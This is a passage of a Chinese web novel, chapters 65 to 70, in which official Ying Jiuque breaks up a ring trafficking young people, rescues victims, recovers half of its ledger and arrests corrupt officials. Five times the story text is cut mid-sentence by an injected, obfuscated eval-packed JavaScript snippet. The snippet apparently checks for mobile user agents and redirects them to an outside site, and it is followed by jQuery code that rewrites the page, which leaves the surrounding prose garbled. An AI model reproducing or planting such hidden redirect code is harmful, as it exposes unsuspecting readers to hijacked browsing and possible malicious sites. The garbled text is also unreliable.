“不急这一时,让大夫给你治……” “万一在治的过程中我死了怎么办?这些情报就没人告诉你!应大人,你不能妇人之仁!” “……” 应九阙有句国骂不知该不该出口。什么叫妇人之仁?你不也是‘男人之恶’?算了,她不跟小男人一般见识。 招手示意乙十一去找大夫,九阙从怀里掏出来一个药瓶,之前景泰地赏赐了她很多东西,里面就有一些上好的药丸,至少能吊住对方的命,不至于在短时间内死了。然后让人把笔墨纸砚拿来。其实她也很着急,既然连姓易的自己都不在乎,她也想快点儿看到更具体的名单和证据。 第六十五章 开门!扫黑除恶了 小半个时辰过后,九阙得到了厚厚一沓纸。随意翻看了几张,只觉入目皆是层层血泪。她不吝于用最坏的心思去揣测别人,可是等亲眼见到的时候,还是会为人性的丑恶感到震惊。 原本以为那些被拐走的少女孩童被卖到欢楼楚馆已经是最可怕的事,可那些却仅仅只是一小部分。这上面详细介绍了某年某月共掳走多少美貌少年少女,其中一部分确实在京城,可剩下那些却销声匿迹,不知流往哪里去了。 “我的位置还是太低,所能查出来的地位最高之人只有一个三皇子府大管事。而且真正的幕后主使根本不会光明正大出现在我们这些消耗品面前。我只知道,赵杰有一次醉酒后说漏嘴,说有一本儿可以决定很多人生死的账册,但是那账册不在赵杰手中,甚至不在三皇子手里。谁要是拿到那本账册,谁才能成为无忧洞背后真正的主人。毕竟那账册可是所有掺和进无忧洞之人的催命符。” 易先生喘了口气,接着开口。 “城南有一座大别院,那别院的主人明面上只是一个姓朱的商人。可在那别院里,圈养着成百美貌少年少女。每到夜晚,那座别院灯火通明,直到鸡叫。那里面来往的都是些你想象不到的达官贵人。有可能在朝堂之上以清正廉洁出名的官员,在那里就成了撕下面具贪婪残暴的野兽。应大人,你生于富贵之家,又怎会知道人性的丑恶?想来你能想象出来最可怕的,也不过是像我这样拐卖人口的贼子,可在那座别院里,每天晚上死去的人,足够把满院子的花滋养的鲜艳欲滴。” “十年前我从那里出来,身上的伤疤直到今日依旧清晰可数。是我足够幸运吗?并不是,只是因为我足够聪明,才能搭上上线成为一个作恶者,而不是受害者。” 此刻易先生身上的伤口已经被包扎好,他面无表情的坐在地上,眼睛放空,好像看到了自己并不愿意触及的记忆。只不过即便此刻的他如此狼狈,可是却没有了之前那种隐隐挑衅的态度,相反,他的情绪始终透着一种难以形容的高昂。 应九阙缓缓放下面前厚厚的纸,一时间也不知该说些什么,只觉得有些头痛。 看来这件案子涉及到的人比自己想象中的还要多。 “你愿意帮忙吗?” “当然,我非常乐意。” 易先生重重的点了点头,自从在牢里看到被送进来的三皇子那一刻,他就已经彻底相信应九阙这个人,不管自己能不能活下来,至少要把那些曾经害过自己的人全都拉下地狱。他总不能白死吧?让那些高高在上的人陪着他这个人微言轻的贱民一起死,难道不是最好的陪葬品? 开弓没有回头箭,从这里得到了确定的证据之后,九阙根本没有浪费时间,直接带着人马先去了易先生说的那座大宅院。 如今正是晚上,本以为这段时间搜查的那么紧,这座宅院里的人也不会如此胆大包天,结果经过指引来到那座隐蔽位置相当隐蔽的大宅院时,竟意外的看到里面灯火通明的场景。 里面那些寻欢作乐的人难道不知这段时间陛下在对无忧洞一案彻查吗?还是他们有这个资本可以顶风作案? 总之不管里面那些达官贵人们在想些什么,今天晚上他们是跑不了了。 陛下赐给她的金甲卫对这种抄家灭门的情况比较熟练,因此没多大一会儿,就已经在这座宅院的各个出入口布置好了埋伏。应九阙虽说力气大些,可当真让她面对面的杀敌,作为这些侍卫第一个不同意,所以她只能站在安全的位置等待。易先生也在旁边,主要他现在是个伤号,说不定什么时候就抽过去不行了,所以应九阙对他也算比较照顾。 甲二十三深吸一口气,带着人走上前去,一个翻身轻巧的跳过了院墙。 片刻过后,这座看上去歌舞升平的大宅院里就开始传出尖叫混乱声。 而易先生注视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501218|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着这一幕,脸上露出了诡异的笑容。想来那些胆大包天的贵人们从来没想到自己会在寻欢作乐的时候被人围堵。就是不知等他们发现是自己这个所谓的贱民把他们弄成这种地步的时候,会不会气的跺脚呢? 两柱香时间过后,甲二十三请九阙进去,而他的身上还沾染着几滴血。 “放肆!” 九阙进去的时候就听到这么一声厉喝,抬眼一看,发现旁边有许多被金甲卫控制住的衣衫不整的男人。其中一个瞪大眼睛还在奋力挣扎,对这些胆敢抓住自己的侍卫甩出一串污言秽语。 “你们好大的胆子!知道我是谁吗?小心我上报给陛下,把你们全都砍头!” “那是平王爷。” 易先生对来这里的客人十分了解,这会儿不过看了一眼就已经认出那叫嚣着的男人的身份,只是不知出于何种心理,他偏头告诉了应九阙。 点了点头,九阙皮笑肉不笑。平王爷啊,这不是陛下其中一个妃子和前夫的孩子吗?据说性情敦厚,深得陛下喜爱。可九阙看了一眼跪倒在他身边浑身血迹斑斑的少年,恨不得把说这话的人找出来抽个半死,这叫性情敦厚吗?寻欢作乐固然可恨,可看把人打成这样,且看周围人平常的态度,说不定他还做过更过分的事! 陛下看起来相当英明,为什么会有 这么一群拎不清的亲戚?连个继子都能惹出这么多事儿。 “平王爷,这深更半夜的,您不在自己的王府里待着,到这鸟不拉屎的地方干嘛?” “你是谁?” 平王爷对控制住自己的金甲卫简直恨得牙痒痒,偏偏他们一个个像锯了嘴的葫芦似的,多一个字儿都不肯说。突然看见一个能胆大到跟自己对话的女人,平王爷愣了一下。常年浸在酒色中,导致虚弱的身体让他这会儿眼前有些重影,又多看了一眼,才发现面前站着的是个身材高挑的漂亮女人。 第六十六章 账本儿在哪里? 哟!自从跟着陛下来到京城,他过了足足十三年声色犬马的生活,见到的女人数不胜数,但像面前这略显英气的女人还真是不多见。平王爷本就是个昏庸无能的人,全是靠着和陛下这层假子的关系才能得到一个王爷封号。这会儿都已经大难临头了,可早就已经被酒精糊住的脑袋,竟然还能生出色心来! “本王倒是还没见过你这一款的美人,你叫什么名字?” 按着他的金甲卫手一抖,平王顿时发出了杀猪一般的惨叫。即便如此,那金甲卫也没有松开手,他甚至用一种匪夷所思的表情看着不知死活的平王爷。 应大人可是陛下近段时间来最看重的臣子,甚至有传言说是陛下流落在外的私生女!平王竟敢这么对她,当真不想活了? “你个杀千刀的!本王让父皇杀了你!” 剧痛之下,平王爷连平日里那些表示尊贵的词都忘了说,立下誓言绝不再说的俚语脱口而出。当然,这时候已经成了笑话的平王根本引不起别人太大的关注,甚至连九阙也只是看了他一眼就轻描淡写的移开了视线,转而看向那些知道大事不妙,想要捂住自己的脸往后退的臣子们。 她才当几天官儿啊?对朝廷里的官员不太熟悉,但架不住身边有个已经把这些人的脸死死记在心里的易先生。他这会儿就像个百科全书一样,九阙的眼睛看向哪个人,易先生就在旁边儿尽职尽责的说出此人的姓名官位。 但凡被点到名字的官员都忍不住把脸往胸口藏。可是将在场官员看了个遍之后,九阙发现了一个问题。 这些直接被逮住的人,除了一些有名的宗室浪荡子之外,普遍都是一些五品以下的小官儿。原谅九阙这么说,但是在京城这座头顶掉片瓦都能砸中三个官儿的地界,这些官儿的官位品级还真不高。所以这些人是被放弃了?这些饵虽然多,可是对于九阙来说并不够,她想抓的从来都不是这些小鱼,而是藏在浑浊水面下的那些大鱼。 现在找不出来没关系,她有的是时间和精力,只要把这摊水搅的足够浑,难道还怕找不到混迹其中的大鱼?而且,至少她可以把那些被藏起来的受害者救出来。 看着那些刚开始茫然失措,但是当真的确定自己被救了之后开始痛哭流涕,甚至惊喜尖叫的孩子们,九阙重重的叹了口气,那些幕后主使是真的该死。他们所做的一切不知道毁了多少人的生活…… “姓易的,下一个地方呢?” 整整一夜,应九阙根本没有合过眼。等到第二天清晨,第一缕阳光洒下来的时候,九阙他们一共捣毁了五个类似的宅院,救出来的美貌少年少女多达五百人。 这是个相当庞大的数字,怎么安置这些无辜之人以及那些被抓住的官员就成了个大问题。 刑部左侍郎特意来找九阙,哭丧着脸。 “应大人啊,您可得支个招儿啊。这刑部大牢都快塞不下了!” 而且您抓过来的还都是一些有头有脸的人物,哪怕只是家中的纨绔子弟,可就算惹得起那些纨绔们,也惹不起他们背后之人啊!您现在被陛下看重,是陛下眼里的大红人,当然不害怕,可他就是个小小的侍郎,从昨天晚上到现在,他都已经不知道收到了多少人的谩骂,他明明是无辜的啊。 应九阙揉了揉太阳穴,这样的情况她当然有所预料,也已经有了解决措施,看这天色,估计人就快来了吧。 说曹操曹操到,就在九阙跟左侍郎说话的空档,一个年轻的声音弱弱响起。 “那个,应大人,有什么需要我帮忙的吗?” 九阙回头一看,呵,还是个熟人! 这不是杨林源吗?就是那个跟她当街呛起来的小纨绔,怎么这会儿看着一点儿也没有之前那么神气,反而怯生生的?她好像也没做什么吧? 杨林源露出一个讨好的笑容,自从他不小心把小堂弟弄丢之后,在家里不知道挨了老爹多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501219|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少顿打,还要承受二叔不断输送过来的冷气,那叫一个可怜。好不容易把小堂弟等回去,他的日子也不好过。因为那位救了自家小堂弟的官儿竟然就是之前自己当街调戏过的女官应九阙! 知道这件事之后,杨林源直接被自己亲爹和亲二叔联合起来狠狠揍了一顿。不仅如此,还把他所有的月钱都给停了,所有私房都被没收。现在他杨少爷就是个一穷二白的穷光蛋,连逛个酒楼都提心吊胆,还得求着身边儿派去监督他的侍卫掏钱。简直是惨绝人寰! 本来他还窝在家里边儿养伤呢,没想到自己亲爹不知从哪里得到了消息,直接把他拎过去一顿拳脚相加,然后一脚把他踹出门,让他来刑部帮应九阙的忙。 他一个堂堂男子汉怎么能屈居一个小女人手下?可是在看到应九阙的那一瞬间,身上又开始条件反射的疼,他是真怂了,所以这会儿那叫一个狗腿。 “杨公子,能否帮忙把外面那些无辜的少年少女们安置下来?最好不让他们受到外界干扰。毕竟你也知道这段时间乱的很,我怕有些不长眼的从他们身上下手。” 杨林源头点的跟小鸡啄米一样,直接就去干活儿了,根本不用催促。可真是个好人啊! 解决了这一项,剩下的人就好操作了,都这种时 候了,还要求一人一个单间儿,以为自己也是皇子啊?直接四五个人往一间牢房里凑合凑合挤挤得了,没让十几个人住一间牢房,已经是她大发慈悲!天天想什么美事儿呢? 三皇子又不是个聋子瞎子,昨天晚上这动静一直到现在就没停过,即便稳操胜券,这会儿心里也有点儿打鼓。 应九阙这疯子是准备把满京城的官都抓过来吗?得罪了满朝文武,以后她这个官儿还真不做了? 这会儿那些被关起来的官员有眼尖的也发现了三皇子。原本还在嚎啕的声音顿时咽了回去,不是吧?连三皇子都被抓过来了?那他们岂不是凶多吉少? 第六十七章 半本账册 揉着太阳穴出去,站在阳光下的那一瞬间,九阙觉得自己脑子都在嗡鸣作响,忍不住闭起了眼。 虽说昨天晚上闹了一场,可这些还不够啊。只处理这么一小批杂鱼,别说别人了,应九阙自己都过不去心里那道坎儿。但她可以在现场把人抓住直接定罪,可那些昨天晚上没去的大官儿呢?甚至他们根本不屑于去这种寻欢作乐的场合,可是这些场所创造出来的利益流入他们口袋的那些人呢?没有直接性的证据,就凭她一张嘴,也定不了他们的罪。 易先生说过,那些背后主使相当警觉,要不然也不会把一个区区三皇子府的大管事推出来做什么‘三公’。易先生给出的证据所能定罪的人,除了三皇子这条大鱼之外,剩下的还是太小了。要是这时候有谁能把他们私底下交易的那本账本儿偷出来给她就好了…… 长长的叹了口气,等再睁开的时候,眼前赫然出现一个面容憔悴的人影,吓得九阙一个寒颤。 “前辈!人吓人吓死人你不知道吗?!” 崔逐风这会儿脸色相当不好看。自从那些无辜的孩子们被灭口之后,她的状态就一直不是很好。跟着应九阙来到刑部之后发现自己好像派不上用场,所以昨天晚上她也没怎么睡觉,干脆把整个京城都转了一遍,顺便趴在一些大人的房顶上偷听他们说话。反正在崔逐风看来,大晚上不睡觉肯定是心虚,尤其是不仅不睡觉,还在书房里议事,那肯定是虚上加虚! 于是上了心,结果这一上心就让她发现了不对劲的地方,那些人话里话外都在说一本账册。虽然那些人言谈之间相当谨慎,可是,难免会出现一些崔逐风觉得耳熟的词,就比如说无忧洞。 崔逐风觉得很奇怪,就顺着听了听。结果那群人本来只是好声好气的商量,商量着商量着竟然打起来了。虽然只是一群文官,可打起架来竟然也有种将生死置之度外的凶狠劲儿。不多时,众人就打的头破血流,最后是一个全身上下都裹在黑布里的人制止了这场闹剧。 那人用了某种控制喉骨改变声音的秘法,这会儿那嗓音沙哑难听,但一张口就控制住了在场所有人。 “我们现在是一条绳上的蚂蚱,要是这条船翻了,谁也跑不了。没有最重要最直接的证据,那应九阙又能奈我们何?” “可是,听说陛下把打神鞭赐给她了……” “那又如何?没有证据,她能随意抓人?这段时间都老实点儿,别搞出动静被盯上,那女人得意不了多长时间。满朝文武岂会坐视一个女人踩在他们头上?而且连三皇子都被她抓了,这么大的功劳,还不够她啃的?现在最重要的,就是稳住。一旦我们自己乱起来,那才是真正的神仙也救不了!” 那些忐忑不安的人总算有了主心骨,又开始担心那本账册的安全。 “从始至终根本就没有什么账本。咱们干这杀头的买卖,难道还要把证据写下来?这账本儿的谣言到底是从哪儿传出来的?难道你没见过那账本儿?” “不是,不是‘三公’说的吗?” “他?不过是个小卒子罢了,想来是为了保命才这么说。可你们也不想想,如果真有这账本儿,被灭口之前他为什么不拿出来?就算他之前做了两手布置,现在他已经死了,那账本也没出现。” 这,这说的好像有些道理,可总归不那么让人放心。 那黑衣人有些不耐烦。 “行了!与其担心那没影子的账本儿,还不如想想怎么把那女人弄下去,不能让她再这么肆无忌惮。短短几日我们亏损了多少钱?而且那边也在催人。别忘了,这边还只是小事儿,大不了鱼死网破,不过是自己死,要是那边儿的事儿暴露,诸位的九族只怕都要在地下相见!” “那边?” 听到这里的应九阙忍不住重复了一遍这个词。‘那边’是哪里?这些人怎么自己商量的时候还用这些代号?就不能光明正大的说出来,好让她得到点儿有用的消息吗? 不过,至少从易先生那边儿得知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501220|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这群人手里确实有一本账册的存在。只是不知道账本儿现在到底在哪里。要是能把账本儿拿到手,不就可以按图索骥,把上面记载的所有人抓捕归案了吗? 就是可惜,连易先生也不知道那账本儿到底在何方…… 不过…… 看了一眼崔逐风,这位武艺高强的武林中人难道昨天晚上就只是趴在人家房顶上偷听了这场谈话? 想起这位出神入化的功夫,九阙来了精神。 “前辈,您昨天夜里到底有没有听到账本儿在哪里?” “没有。” 崔逐风诚实的摇了摇头。 “他们特别警觉,而且绝大多数人根本不知道有没有账本儿。” “这样啊……” 应九阙有些失望,正准备安慰对方几句,然后就被她拿出来的东西镇住了。不是,这看着怎么这么像…… “账本?” 崔逐风遗憾的点了点头。 “昨天夜里我跟着那黑衣人离开,从他身上抢过来的,只是可惜,这账本我看了,好像不完整……” 直到最后她还是什么也没能帮上…… “不不不!有这半本儿账册就 已经足够了。” 应九阙眼睛都在放光。什么叫瞌睡来了送枕头?这就是啊!他还以为今天只是能从崔前辈那里得到账本的消息,还要花费一段时间才能把账本找到。没想到崔前辈不仅武艺高强,行动力更是相当出色。这不是直接找到了吗? 翻看了几页,应九阙那叫一个精神振奋。这简直是雪中送炭啊,上面不仅记录了买卖货物的数量,买家卖家,甚至连交易得来的金钱放在哪家银号都有! 这真不是上天眷顾特意赐给她的证据吗? 哦不,不是上天眷顾,而是因为有崔逐风这么一位天下第一啊! “前辈!您真是我命里的福星!” 九阙硬生生把崔逐风夸红了脸。 第六十八章 杀鸡儆猴 “真的有用吗?” 崔逐风有些惊讶,同时也很开心,她真的想为那些无辜死去的人做些事情,哪怕只是很少很少的也可以。 “当然!” 九阙迅速把这账本子翻了个遍,然后露出了笑脸。 有了这账本,那些藏在背后的家伙们,都得被揪出来!本来以为这案子不好弄,最少也得十天半月,没想到仅仅一个晚上,就能抓人了! 这会儿应九阙那是腰不酸了腿不疼了,连喊人都有力气了。连声招呼甲二十三,甚至还把户部左侍郎也叫了过来,这下需要的人手就更多了,陛下赐的金甲卫不够用,刑部总不能站在外边看戏吧?既然是刑案,刑部也不能置身事外! 而且,说不得这是一件升官发财的好事儿呢。 此刻,淳于霜也冒了出来,她仔细想了一个晚上,还是决定和应九阙共进退。她在刑部司务这个位置上已经太久了,女官在朝堂之上数量太少,且最重要的是,没有高位女官,所以,她根本就没有被提拔的机会。她是很能干,正是因为能干,所以刑部的上官们才不想让她高升,毕竟她这个能力出众的下属升官了,谁去做事儿呢? 是的,即便众人承认淳于霜的能力,也不想让她升上去。 淳于霜等了很多年,终于等来了一个应九阙。虽然不知陛下为何这般重视应九阙,但既然眼前有登天梯,她不愿意放过。机会,永远伴随着危机,她愿意承担这样的危险。 “大人。” “淳于。” 应九阙看一眼淳于霜,有些人之间,哪怕交往不深,但已经有莫大的默契,只要彼此一个眼神接触,就能明白对方在想什么。就像此刻,应九阙知道淳于霜的决定,并没有相劝,只是飒然一笑。 “来的正好,正是缺人手的时候,走吧,抓人去。” “是。” 至于那位户部左侍郎的尖叫声,嗯,估计是没睡觉幻听了吧,谁会在意呢? 吏部员外郎张远一夜没睡好,将将天亮的时候才勉强入睡,可是迷迷糊糊的时候被喧闹声给吵醒了。眼睛还没睁开,下意识就要发火,结果就听到一声轻笑。 女人? 他昨天晚上并没有找小妾,这是哪个想爬床的婢女?如此没有眼力见,老爷他累着呢…… “看来张大人还在与周公下棋,我这个外人也不好阻止啊。让他醒醒神。” 这个声音…… “哗啦!” 正在思考这声音属于谁的张远被一盆冰冷的井水泼醒,险些从地上跳起来!这什么鬼?谁敢?! 结果一睁眼,就看见了应九阙那张现在最不想见到的脸。 “应,应九阙?” 顿了顿,张远几乎不敢吭声,再往后看看,应九阙身后站着一大堆人,而且虎视眈眈的盯着自己,还带着刀剑! 什么情况?! “您这是?” “哦,你说这些啊,倒是没什么,只是想请张大人去做客。” “去,去哪里?” “刑部。” 张大人有那么一瞬间睁大了眼睛,但他很快就冷静下来。 “应大人说笑了,本官没做违法乱纪之事,为何要去刑部?就算你现在主管无忧洞一案,也不能不分青红皂白抓朝中官员吧?” 应九阙盯着他看了几眼。 “张大人的消息倒是灵通得很,陛下昨夜才将这件事交给我,还没开朝会,你竟然就已经知晓?不知道的,还以为你在皇宫安插了眼线啊。” 张远一颤。这可不是能开玩笑的,窥探帝踪,他九族活腻歪了? 好在应九阙本来也不想跟他说笑,直接闪开身形,身后的侍卫们如狼似虎的扑过来,直接将衣衫不整的张远捆了,拎到院子里,张远挣扎中发现自己全家都被抓了出来,那叫一个悲愤交加。 “老爷!” “父亲!这些都是什么人?怎么会来咱们家?” “爹!他们抓的我手疼,你快让他们松手啊!” …… 一片混乱,好一幅夫妻父子兄弟姐妹情深图啊! 张远看着狼狈的妻妾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501221|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子女,气血翻涌。 “应九阙!你好大的胆!我可是四品官!就算你主理此事,也不能擅自抓人!更何况是本官的家人!你……” 后面的话在应九阙挥舞的打神鞭面前咽了回去。 应九阙两根手指头拎着打神鞭抡了一圈儿,揉了揉耳朵。 “你说什么?我好像没听清?” 威胁!这是赤裸裸的威胁!应九阙不过是个小小六品官,就算有了陛下御赐的打神鞭,也不敢对自己动手!张远明明很笃定,但是却莫名不敢再吭声了。毕竟,应九阙看起来可不像是不动手的样子。 看着张远缩回去的怂样,应九阙啧了一下,早这样不就好了? “张大人,你可认罪?无忧洞一案,你在里面也掺了一脚,赚的那些银子都放哪儿了?” “什么银子?什么无忧洞!我可是朝廷命官,怎么会跟无忧洞有关联?” 张远断然否认。 可应九阙丝毫不慌。她只是拍了拍手,直接让人去搜查。说起来,她来这个世界也不是 一点儿金手指也没有,虽然是个残缺的金手指,可是却也能提前知道某些剧情。只不过不是全部而已。不然,之前在皇宫的时候她也不能愉快的吃瓜。 但是很凑巧,她记得这一幕,只不过时间提前了十几年,这位张大人的私藏颇丰,位置也很巧妙啊。 张远府中,亭台楼阁,水榭花园那是一样不少。尤其是那座小湖,里面摆着的太湖石算是京中一景,很多同僚都羡慕至极。可发现应九阙的视线落在那座贯穿府中前后的小湖时,张远还是悄悄咽了口吐沫。不会吧?应该不会那么容易被发现吧?他可是花费了大代价才将那些金子藏好,总不能一眼就被人认出来? 应九阙提着打神鞭,在众人或迷茫或紧张的表情里慢悠悠的来到湖边,打神鞭垂落在湖中,随着她的走动划起一道道水波。水里神采奕奕的锦鲤被惊动,都远远的藏了起来。 众人都不知道应九阙要做什么,淳于霜皱了皱眉,顺着她的视线,看向了湖中那些怪相嶙峋的太湖石。难道? 第六十九章 你到底图什么? 下一刻众人就看到应九阙提起打神鞭点了点湖中的那些太湖石。 “我听说这太湖石因其骨相嶙峋在文人雅士中相当受推崇,只是太湖离这里太远,每一块运至京城的太湖石都价值千金。张大人,我记得您只是四品官,就算每年的俸禄不吃不喝加起来,十年之内也买不起一块太湖石。可是这小湖中的太湖石,远远超过十块了吧?敢问您是从哪里得来的银钱买这些价值千金的太湖石呢?” 张远悄悄松了口气,还以为这女人发现了什么呢,原来是想以这个理由来威逼利诱。他也不想想,自己好歹也是个员外郎,怎么可能被这种简单的话术诱出真正的理由? 他努力站直了身子,用一种居高临下的态度看着应九阙,觉得女人就是愚蠢。哪怕手握大权,最终也只会用这种小道。 “我家里的钱从何而来,跟您没关系吧?这是我祖上的积累。累世家族就是这般,根本不必靠俸禄过活。我张家不才,在京城里也过了五代。每一代先人都会留下余财,代代积累下来,钱就多了。不过这些跟你解释,应大人大概也听不懂。毕竟女子不可能掌控家中钱财,且听说林侍郎并不重视你这个女儿。我与林侍郎也算是朋友,今儿个就充当长辈教训你一句。女子最好温婉持家,你如今已经十八岁,已然是个大龄女子,若是再这般嚣张跋扈下去,不会有哪家年轻俊才愿意娶你。” “……” 淳于霜不忍直视,直接侧过了脸,她实在想象不出来,在全家都被抓起来的情况下,这位张大人到底是哪里来的底气用这种语气跟应大人说话,难道就凭他口中和林世郎的些许交情吗?先不说这交情是真是假,就算他们之间真有交情,反正他是看不出来应大人对林士郎有什么孺慕之情的,毕竟自从受封县主和封官以来,应大人似乎从来没有回过林家。 用这种理由来劝应大人,还说这种女子本应温婉的话,这不是火上浇油吗? 果然应九阙似笑非笑的看了张大人一眼。 “你和我那个爹有什么交情跟我可没关系,只不过张大人,你确定不交代?” 张远依旧嘴硬,认为他没什么可交代的,应九阙也不跟他废话,直接弯腰从地上捡起来一块石头,在手里掂了掂,确定了重量之后,直接抬手狠狠扔了出去,众人只听到耳边一阵尖锐的爆破声,紧接着就是一阵轰然倒塌的声音。 巨大的烟雾在空中弥漫,众人不得不暂时闭着眼,只是等再睁开的时候,每个人都露出了惊讶的表情。 因为湖中那或连绵成片,或独自伫立的太湖石轰然倒塌。只是彼此碰撞之间并没有撞碎,反而把表层的石头削掉,在阳光下露出了金灿灿的内里。等等,这不是太湖石?这里面裹着的东西是…… 金子?! “啧啧啧。” 应九阙扇了扇跑到面前的灰尘,表情那叫一个‘惊讶’。 “张大人你怎么把自家的金子藏到太湖石里去了?钱庄银号里不好藏吗?还是说你这些金子有见不得人的地方?其实你不用这么小心翼翼的,毕竟最后还是得拿出来,不是吗?” “你!竖子!这是我家的资财,为什么要拿出来?再说这是我家的金子,我想藏在哪里就藏在哪里,跟你有什么关系?反倒是你,把我家藏金地点暴露出来,若是丢上一两二两,都是你的责任!” “你可别这么说,他不可能丢一两二两,因为这些金子会全部被搬走。” 应九阙的表情越来越冷。 “你也知道自家累世官宦,生而为官,不为百姓当家做主,反而跟恶人勾结,买卖子民!你就是这样当官的?!你花着那些拐卖人口得来的金钱就不觉得良心不安?那些被拐走的人与自家亲人骨肉分离,生死难料,你躺在他们的血泪之上享受荣华富贵。这就是你的为官之道?” “你自己也有妻妾子女。若是你自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501222|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的妻妾子女被人拐走,卖给别人羞辱,你会是个什么感觉?!圣人都说了,己所不欲,勿施于人。你当官这么多年,读了这么多的圣贤书,难道都是白读的?!难道你为官之初想的就是如何拐卖百姓,如何用他们的血肉谋利?” “……” 张大人沉默了很久,突然有些疲惫。尤其是周围妻妾子女不可置信的表情让他更觉得无地自容,只不过片刻之后他又支棱起来。 “站着说话不腰疼,难道你以为当官很容易?这官场上,哪里不是官官相护,若是不加入就会被他们拉下马。我苦读了那么多年,凭借家中的余荫才勉强当上个四品小官儿。若是一朝被拉下,家中父母妻儿会如何看我?那些政敌们又会如何对待我这个姓张的?我只是为了自保而已,身处污泥之中,你还想雪白不成?” “应九阙,我知道你很厉害,可你再厉害也只是一个人,你能抵抗得了朝中无数人吗?现在陛下用的上你,你就是朝中少见的女官。可狡兔死,走狗烹。陛下不可能和整个朝廷的人对抗,你说到时候被扔出来平息众人怒火的会是谁?” “你这么努力站在所有人对立面又得不到丝毫好处,我真的很好奇,你到底是为了什么?你明明可以当一个世家贵女,不愁吃喝,不用担心外面的风波,为什么非得成 为众矢之的?难道你不知道,你很可能会死吗?” 应九阙安静的听着对方说这一大通话,倒是没有打断他。热烈的阳光下,应九阙抬眼看了看天空,觉得有些刺眼,于是微微眯了眯。 四周一片寂静,就连那不断啜泣的张家家眷也停止了抽泣。 为什么呢? 或许在这个世界,这些官员习惯了高高在上。脚下的平民百姓不过是路边野草,随意可攀。可她来的那个世界,虽然也会有这样那样的不好,可她至今深深记得那句随处可见的标语。 人民的利益高于一切。 第七十章 釜底抽薪之毒计 这天下万万余百姓不是一个代名词,他们是由一个个活生生有血有肉的人组合在一起的。他们也有喜怒哀乐,也有自己的血肉亲人。他们并不是路边的野草,随意踩上一脚对自己没有什么影响。 他们都是活生生的人啊。 这天下所有人都是一样的,难道因为地位的高低不同,就能将人分为三六九等? 哪怕是这样没错,可最底层的百姓也有自己生存的权利。他们好端端的活着,为国家缴纳赋税,安居乐业,遵纪守法,凭什么要因为某些人的利益熏心就被迫骨肉分离? 这根本就不正确。 哪怕这个时代大多数人都认为这理所当然,可应九阙仍要站出来说一句,这是不对的。 “我什么也不图。但我知道,你这样做不对。不正确的事总得有人来纠正,不公平的事总要有人来挑破。难道一味的捂着,把伤疤捂成脓疮,这坏的地方就能好了?它们只会越来越大,越来越深。” “你疯了?” 张远看了应九阙一眼,直接给她下了定论。 “你与那些人无亲无故。甚至根本不认识,难道为了可笑的公平,就值得你付出自己好不容易得来的一切?” 轻轻的叹了口气,应九阙并不搭理这话。 “张大人,你的问题也太多了,现在你要回答的可不是和我有关的问题。你还是好好想想,该怎么解释你和无忧洞幕后黑手之间的关系吧。” “带走!” “是!” 嘶,怎么感觉这群侍卫的声音比之前洪亮了不止一个度?震得她耳朵疼。 把那些哭天抹地的张家人带走,应九阙神采奕奕,继续往下一家走去。 …… “陛下!应大人在京中大肆搜捕,同僚们苦不堪言。是否太过嚣张了些?” “是啊,陛下。她竟然连三皇子和平王都抓到刑部大牢里去了,在没有确凿证据之前,怎么能对一位皇子下这样的手?这有损皇室的威严呀!” 